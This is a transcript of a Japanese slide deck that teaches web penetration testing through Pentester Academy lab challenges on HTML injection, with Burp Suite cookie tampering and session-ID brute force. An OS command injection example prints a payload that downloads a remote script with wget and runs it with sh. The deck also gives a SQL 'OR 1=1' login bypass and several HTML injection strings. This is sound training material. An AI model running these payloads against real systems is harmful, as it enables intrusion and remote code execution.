web applicationpenetrationtest その4

40
1 /40 Web Application Penetration Test そそ4 そそ+そそ そそそ

Upload: f-hasegawa

Post on 13-Apr-2017

18 views

Category:

Engineering


0 download

TRANSCRIPT

Page 1: Web applicationpenetrationtest その4

1 /40

Web Application Penetration Testその 4   問題 + 解答長谷川

Page 2: Web applicationpenetrationtest その4

2 /40

1. Web アプリのペネトレーションテストのスキルアップペンテスト(侵入テスト)の MOOC サイトの問題をガンガン解いていきます。http://www.pentesteracademy.com/その 1.pptx Challenge 1 ~ Challenge 7   : 認証突破その 2.pptx Challenge 8 ~ Challenge 11 : セッション ID 突破その 3.pptx Challenge 12 ~ Challenge 15 : トラフィック解析その 4.pptx Challenge 16 ~ Challenge 19 : HTML injectionその 5.pptx Challenge 20 ~ Challenge 36 : XSSその 6.pptx 以降   Unvalidated Redirects 、 CSRF

    つづく

目的

Wikipedia よりMassive Open Online Course (MOOC 、ムーク ) はインターネット上で誰もが無料で受講できる大規模な開かれた講義のことである。

Page 3: Web applicationpenetrationtest その4

3 /40

ツール、言語◦Burp Suite※ 使用頻度の高い Burp Suite の詳細説明をします。※ その他のツールの説明はその 1.pptx ~その 3.pptx  参照。

HTML injection (予備知識)          問題 & 解き方 & 解答

もくじ

Page 4: Web applicationpenetrationtest その4

4 /404

問題Pentester Academy の無料の問題からいくつか出題ツール使うか、プログラミングして解いてください。ツール: Hydra 、 Metasploit 、 IronWASP 、 ZAP などなど、、Python とかでも解けます。

Page 5: Web applicationpenetrationtest その4

5 /40

プロキシ型の WAP ツール。◦ Burp Proxy  ※よく使うので説明します。

ブラウザ -target アプリケーション間の MITM 。 Request の修正等ができる。◦ Burp Spider

トラフィックの調査、脆弱性の発見等。◦ Burp Web Vulnerability Scanner

脆弱性のチェック。◦ Burp Sequencer

シーケンス番号のランダム性のチェック。などなど 便利なところ

◦ 勝手にチェックしてくれる。大体何でもできる。 イマイチなところ

◦ フリー版は機能制限あり。

Burp Suite

画面

Web ブラウザ Burp Proxy Web サーバー修正

Page 6: Web applicationpenetrationtest その4

6 /40

その 3.pptx Challenge 8 よりhttp://pentesteracademylab.appspot.com//lab/webapp/cookie/1この問題を解くためには request で送信する Cookie を書き換える必要がある。

Burp Proxy の使い方ユースケース①  Request の修正

Web ブラウザ Burp Proxy Web サーバー書き換え

HTTP :Cookie:user_id=TUE9PQ==

HTTP :Cookie:user_id=TVE9PQ==

Page 7: Web applicationpenetrationtest その4

7 /40

①[Proxy]⇒[Options] でプロキシ設定。 ここで設定した IP 、 Port で Burp Proxy がローカルプロキシとして動作する。

Burp Proxy の使い方ユースケース①  Request の修正

Page 8: Web applicationpenetrationtest その4

8 /40

② ブラウザ側のプロキシ設定( IE の場合)。  Burp Proxy で設定したローカルプロキシを設定する。

Burp Proxy の使い方ユースケース①  Request の修正

Page 9: Web applicationpenetrationtest その4

9 /40

③[Intercept] を ON にする。 ブラウザの Intercept が開始する。 Forward :転送する、 Drop :ドロップする、 Action :様々なアクションをする

Burp Proxy の使い方ユースケース①  Request の修正

書き換え

Page 10: Web applicationpenetrationtest その4

10 /40

④[Raw] のパラメーターを修正して [Forward] で転送する。

Burp Proxy の使い方ユースケース①  Request の修正

クラック成功!

Request 書き換え成功

Page 11: Web applicationpenetrationtest その4

11 /40

その 3.pptx Challenge 10 よりhttp://pentesteracademylab.appspot.com/lab/webapp/sid/2この問題を解くためにはセッション ID に対してブルートフォース攻撃する必要がある。

Burp Proxy の使い方ユースケース② ブルートフォース攻撃

Web ブラウザ Burp Proxy Web サーバーブルートフォース攻撃

HTTP :Request (セッション ID=1000 )

元の request をもとにブルートフォース攻撃HTTP :Request (セッション ID=1000 )Request (セッション ID=1001 )Request (セッション ID=1002 )     ~省略~Request (セッション ID=1998 )Request (セッション ID=1999 )

Page 12: Web applicationpenetrationtest その4

12 /40

① ~③はユースケース①と同じ。④   [Intercept] を ON にする。 ブラウザの Intercept が開始する。Action :様々なアクションをする ⇒ Send to Intruder※Burp Intruder :様々な攻撃をするツール。

Burp Proxy の使い方ユースケース② ブルートフォース攻撃

ブルートフォース攻撃対象のセッション ID 。

Page 13: Web applicationpenetrationtest その4

13 /40

⑤   [Intruder] に request が移動する。ブルートフォース攻撃対象の変数( $$ で囲まれている)が問題ないか確認。追加、削除もできる。今回は 1000 ~ 1999 まで変化させたいので、 1$sid$ とする。次スライドの [Payloads] 設定で $sid$ を 000 ~ 999 にする。

Burp Proxy の使い方ユースケース② ブルートフォース攻撃

Page 14: Web applicationpenetrationtest その4

14 /40

⑥   [Payloads] で Payload type に Brute forcer を選択。Character set に「 0 ~ 9 」、 Min length に「 3 」、 Max length に「 3 」を選択。Start attack を選択。

Burp Proxy の使い方ユースケース② ブルートフォース攻撃

Page 15: Web applicationpenetrationtest その4

15 /40

⑦  ブルートフォース攻撃が開始する。  パケットの Length 、中身、エクスポート結果等から正解のパケットを探す。

Burp Proxy の使い方ユースケース② ブルートフォース攻撃

クラック成功!

セッション ID=1089 が正解。ユースケース①と同様の方法でセッション ID=1089 の request を送信。

Page 16: Web applicationpenetrationtest その4

16 /40

情報収集: Reconnaissance◦ 情報を収集する。(データフロー、フィンガープリント、ソース)

Wireshark 、 Blind Elephant 、 httprint

マッピング: Mapping◦ ターゲットアプリケーションの検査。

Burp Spider 、 SprAJAX 、 WebScarab

発見: Discovery◦ ターゲットアプリケーションの脆弱性の発見。

エクスプロイト: Exploit◦ 脆弱性を実証する。

問題の解き方

SANS SEC542 より

Page 17: Web applicationpenetrationtest その4

17 /4017

問題を解いていくChallenge 16  ~ Challenge 19

Page 18: Web applicationpenetrationtest その4

18 /40

Injection : 注入。 Injection 攻撃 = プログラムに攻撃コードを注入する攻撃。 代表的な injection 攻撃

◦ OS コマンド injection クライアントの request から OS コマンドを組み立てるプログラムへの攻撃。

◦ HTML injection クライアントの request から Web ページを組み立てるプログラムへの攻撃。

◦ SQL injection クライアントの request から SQL 文を組み立てるプログラムへの攻撃。

HTML injection (前提知識)

Page 19: Web applicationpenetrationtest その4

19 /40

クライアントの request から OS コマンドを組み立てるプログラムへの攻撃

OS コマンド injection

・アプリケーション$address = param{'address'}; #request から e-mail アドレスを取得$message = "message.txt"; # 送信するメッセージが格納されたファイルsystem("sendmail $address < $message"); #sendmail コマンドでメール送信・攻撃者の [email protected] </dev/null; wget http://site/badscript; sh badscript #

・実行される OS コマンド $address に上記の request が設定されるsendmail [email protected] < /dev/null; #適当なアドレスにメール送信wget http://site/badscript.sh # 攻撃コードのダウンロードsh badscript.sh # 攻撃コードの実行

攻撃者 Web サーバー

アプリケーション シェルRequest(攻撃コード)

Request の加工 OS コマンドの実行

例) Request されたメールを送信する Perl アプリケーションへの攻撃

Page 20: Web applicationpenetrationtest その4

20 /40

クライアントの request から HTML を組み立てるプログラムへの攻撃

HTML injection には様々な種類がある。 スクリプト injection

JavaScript 等に攻撃コードを注入する。応用例に XSS がある。 フレーム injection

Frame に攻撃コードを注入する。昔の IE では frame はノーチェックだったらしい。 コンテンツ injection

生成されるコンテンツに攻撃コードを注入する。実例は問題を解いて確認する。

HTML injection

攻撃者 Web サーバー

アプリケーションRequest(攻撃コード)

Request の加工

Page 21: Web applicationpenetrationtest その4

21 /40

クライアントの request から SQL 文を組み立てるプログラムへの攻撃SQL injection

・アプリケーション+ SQLRequest で受信した user/pw に合致する user を database から参照する。SELECT user database WHERE user='param{'user'}' AND pw='param{'pw'}'

・攻撃者の Requestuser=' OR 1=1 --, pw=hoge

・実行される SQL コマンド $user/$pw に上記の request の user/pw が設定されるSELECT user database WHERE user='' OR 1=1 –-' AND pw='hoge'   -- 以降は SQL ではコメントとして扱われる。   WHERE 以降の条件が OR 1=1 で常に真となるため、   適当なパスワードを入れても必ずユーザー ID ( user )が返ってくる。

攻撃者 Web サーバー

アプリケーションRequest(攻撃コード)

Request の加工SQL 文の実行

例) Request されたユーザー ID(user)/ パスワード (pw) をデータベースから参照する

SQL サーバーSQL 文 データベース

※ 説明のため若干簡略化

Page 22: Web applicationpenetrationtest その4

22 /40

IPA のセキュア・プログラミング講座等を参照。攻撃手法を学ぶことも重要。 IPA のセキュア・プログラミング講座内容は古いが結構参考になる。https://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html

Exploit Database各種 injection 攻撃をはじめとした実際の攻撃コードのデータベース。情報が結構早い。https://www.exploit-db.com/

Injection 攻撃の対策

Page 23: Web applicationpenetrationtest その4

23 /40

Challenge 16: HTML Injection http://pentesteracademylab.appspot.com//lab/webapp/htmli/1

目的◦ ページにメッセージを追加する。◦既存の from を書き換える。

ヒント(というか注意) ① Challenge Cracked のページは無い。

問題 1

form

Page 24: Web applicationpenetrationtest その4

24 /40

情報収集: ReconnaissanceEmail address に test1 、 Password に test2 を入力して Sign in してみる。

解き方

・ URLhttp://pentesteracademylab.appspot.com//lab/webapp/htmli/1?email=test1&password=test2

・わかったこと①GET メソッドを使用している ⇒ソース、 URL 、パケットキャプチャで確認。②GET メソッドのパラメーター(前の request ) 「 email 」を Email の入力欄に表示している。 ⇒ソースで確認。

そのまま form に表示している

Page 25: Web applicationpenetrationtest その4

25 /40

マッピング: Mapping 発見: Discovery

解き方

email に入れる文字方針① value= を終端する。

・ URLhttp://pentesteracademylab.appspot.com//lab/webapp/htmli/1?email=test1&password=test2

そのまま form に表示している

例)"><br><b>Well done!<br>This challenge has been cracked!</b><!--

email欄に入力してもよいし、GET メソッドの email パラメーターに入力してもよい。

Page 26: Web applicationpenetrationtest その4

26 /40成功!

注入した文字列

Page 27: Web applicationpenetrationtest その4

27 /40

Challenge 17: HTML Injection II http://pentesteracademylab.appspot.com//lab/webapp/htmli/2

目的◦ <H1> タグで "Vulnerable to HTMLi" を追加。

ヒント(というか注意) ① Challenge Cracked のページは無い。

問題 2

攻撃前 攻撃後

※form が 1個になっている

Page 28: Web applicationpenetrationtest その4

28 /40

情報収集: ReconnaissanceEmail address に test1 、 Password に test2 を入力して Sign in してみる。

解き方

・ URLhttp://pentesteracademylab.appspot.com//lab/webapp/htmli/2?email=test1&password=test2

・わかったこと①GET メソッドを使用している ⇒ソース、 URL 、パケットキャプチャで確認。②GET メソッドのパラメーター(前の request ) 「 email 」「 password 」を入力欄に表示している。 ⇒ソースで確認。

そのまま form に表示している

Page 29: Web applicationpenetrationtest その4

29 /40

マッピング: Mapping 発見: Discovery

解き方

email に入れる文字方針① value を終端。方針② 目的の文字列を表示。方針③ 続く input form を無効化(コメント化)。

目的(再掲)• form を 1個にする。 email の form は消せないので password の form を消す。• <H1> タグで "Vulnerable to HTMLi" を追加。

例)"><H1>Vulnerable to HTMLi</H1><!–-

Page 30: Web applicationpenetrationtest その4

30 /40

マッピング: Mapping 発見: Discovery

解き方

うまくいかない⇒

email password入力 "><H1>Vulnerable to HTMLi</H1><!–- "><H1>Vulnerable to

HTMLi</H1><!–-Form "><H1>Vulnerable to H  ( 22 文字) "><H1>Vulnerable  ( 16 文字)

入力文字列と form の値を比較すると、文字がカットされていることがわかる。

Page 31: Web applicationpenetrationtest その4

31 /40

マッピング: Mapping 発見: Discovery

解き方

email に入れる文字方針① value を終端。方針② 目的の文字列の一部を表示。方針③ 続く input form を無効化(コメント化)。

目的(再掲)• form を 1個にする。 email の form は消せないので password の form を消す。• <H1> タグで "Vulnerable to HTMLi" を追加。 ⇒文字を分割する必要あり• email は 22 文字以内、 password は 16 文字以内

例)・ email ( 21 文字)"><H1>Vulnerable<!--・ password ( 16 文字)--> to HTMLi<!--

password に入れる文字方針① コメントを終端。方針② 目的の文字列の一部を表示。

Page 32: Web applicationpenetrationtest その4

32 /40成功!

注入した文字列

Page 33: Web applicationpenetrationtest その4

33 /40

Challenge 18: HTML Injection IIIhttp://pentesteracademylab.appspot.com/lab/webapp/htmli/4

目的◦ <H1> タグで "Vulnerable to HTMLi" を追加。

ヒント(というか注意) ① Challenge Cracked のページは無い。② EXE ファイルを使うhttp://demofilespa.s3.amazonaws.com/update.exe

問題 3

Page 34: Web applicationpenetrationtest その4

34 /40

情報収集: Reconnaissance"http://demofilespa.s3.amazonaws.com/update.exe" で List String を実行。

解き方

・わかったこと指定した binary ファイルの中の 3 文字以上のテキストを表示している。(次ページ参照)

Page 35: Web applicationpenetrationtest その4

35 /40

情報収集: Reconnaissance"http://demofilespa.s3.amazonaws.com/update.exe" で List String を実行。

解き方Binary Web ページ

Page 36: Web applicationpenetrationtest その4

36 /40

情報収集: Reconnaissance"http://demofilespa.s3.amazonaws.com/update.exe" で List String を実行。

解き方ソース

テキストを羅列しているだけ。

Page 37: Web applicationpenetrationtest その4

37 /40

マッピング: Mapping 発見: DiscoveryBinary ファイルに "Vulnerable to HTMLi" を追加。

解き方

作った binary ファイルを直リンクできるアップローダー( AWS 、 dropbox 等)にアップロード。

Page 38: Web applicationpenetrationtest その4

38 /40成功!

注入した文字列

アップした binary ファイル

Page 39: Web applicationpenetrationtest その4

39 /40

Challenge 19: HTML Injection IVhttp://pentesteracademylab.appspot.com/lab/webapp/htmli/3

目的◦ <H1> タグで "Vulnerable to HTMLi" を追加。

ヒント(というか注意) ① Challenge Cracked のページは無い。

問題 4

Page 40: Web applicationpenetrationtest その4

40 /40

指定した Jpeg ファイルの Exif を表示するページなので、 Jpeg の Exif に攻撃コードを注入すればよい。しかし、サーバー側のアプリケーションが壊れているみたいで正常に動作しない。動画の解説ページhttps://www.youtube.com/watch?v=hvsJdBSi-RU

こんな感じで Exif の適当なフィールドに攻撃コードを注入します。

問題 4